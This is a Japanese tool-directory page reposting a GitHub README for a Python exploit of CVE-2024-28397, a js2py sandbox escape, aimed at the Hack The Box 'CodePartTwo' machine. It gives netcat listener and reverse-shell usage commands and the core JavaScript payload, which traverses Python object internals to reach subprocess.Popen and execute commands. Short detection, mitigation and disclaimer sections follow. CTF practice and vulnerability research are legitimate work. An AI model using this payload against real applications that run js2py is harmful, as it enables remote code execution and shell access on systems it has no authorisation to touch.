Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-28397 — このリポジトリには、Hack The Box (HTB) の「CodePartTwo」マシンで使用することを目的とした、CVE-2024-28397 用の Python エクスプロイトコードが含まれています。 | Kitploit
ツール/GitHubGitHub/naclapor/cve-2024-28397
脆弱性分析エクスプロイトCTFペネトレーションテスト学習と教育ペイロード開発
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

このリポジトリには、Hack The Box (HTB) の「CodePartTwo」マシンで使用することを目的とした、CVE-2024-28397 用の Python エクスプロイトコードが含まれています。

リポジトリを見る
12121年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-28397 js2py サンドボックスエスケープエクスプロイト - (CodePartTwo - HTB)

CVE-2024-28397 用の Python エクスプロイトコードで、js2py <= 0.74 の重大な脆弱性を利用してサンドボックスエスケープとリモートコード実行を可能にします。

🚨 脆弱性の詳細

  • CVE ID: CVE-2024-28397
  • 影響を受けるソフトウェア: js2py <= 0.74
  • 深刻度: 重大 (CVSS 9.8)
  • タイプ: サンドボックスエスケープ / リモートコード実行
  • 発見日: 2024年2月

説明

js2py は、Python 環境内で JavaScript コードを評価するための一般的な Python ライブラリです。この脆弱性により、攻撃者は js2py.disable_pyimport() が有効になっている場合でも、js2py のサンドボックス環境から脱出し、任意の Python/システムコマンドを実行できます。

このエクスプロイトは、JavaScript を介して Python のオブジェクトイントロスペクション機能を利用し、subprocess.Popen クラスにアクセスしてシステムコマンドを実行します。

🎯 影響を受けるアプリケーション

  • JavaScript 評価に js2py を使用する Web アプリケーション
  • コード実行プラットフォーム(オンラインコードエディタなど)
  • JavaScript を解析する Web スクレイパー
  • js2py を介して信頼できない JavaScript を処理するすべてのアプリケーション

🚀 使用方法

前提条件

root@kitploit:~
pip install requests

基本的な使用方法

root@kitploit:~
# Start netcat listener
nc -lnvp 4444

# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

コマンドラインオプション

root@kitploit:~
--target    Target URL endpoint (required)
--lhost     Local IP for reverse shell (required)
--lport     Local port for reverse shell (default: 4444)

使用例

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 動作の仕組み

  1. ペイロード生成: base64 エンコードされたリバースシェルコマンドを作成します
  2. サンドボックスエスケープ: JavaScript を使用して __class__ と __base__ 経由で Python のオブジェクト階層にアクセスします
  3. プロセス実行: イントロスペクションを通じて subprocess.Popen を特定します
  4. コマンド実行: Popen を使用してリバースシェルコマンドを実行します
  5. シェル確立: 攻撃者のマシンに接続し直します

技術的詳細

このエクスプロイトは次の方法で動作します:

  • Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__ へのアクセス
  • __subclasses__() を使用した Python のオブジェクト階層の走査
  • subprocess.Popen クラスの発見
  • リバースシェルを実行するための新しいプロセスの作成

📝 エクスプロイトコードの構造

root@kitploit:~
// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ 検出方法

以下を含む JavaScript コードを探します:

  • __class__ または ___class___ 属性アクセス
  • __subclasses__() メソッド呼び出し
  • subprocess または Popen への参照
  • printf と base64 -d を使用した base64 エンコードされたペイロード

🔒 緩和策

  1. js2py の更新: パッチ適用済みバージョン (> 0.74) にアップグレードする
  2. 入力検証: 実行前に JavaScript コードをサニタイズする
  3. サンドボックス化: 追加のコンテナ化(Docker、chroot)を使用する
  4. コードレビュー: JavaScript 実行コンテキストを監査する
  5. WAF ルール: 不審な JavaScript パターンをブロックする

⚠️ 法的免責事項

このツールは認可されたペネトレーションテストおよび教育目的のみを対象としています。ユーザーは適用される法律および規制を遵守する責任があります。コンピュータシステムへの不正アクセスは違法です。

📚 リファレンス

  • 元の CVE レポート
  • js2py GitHub リポジトリ
  • CVE-2024-28397 の詳細

📄 ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

ツールをダウンロード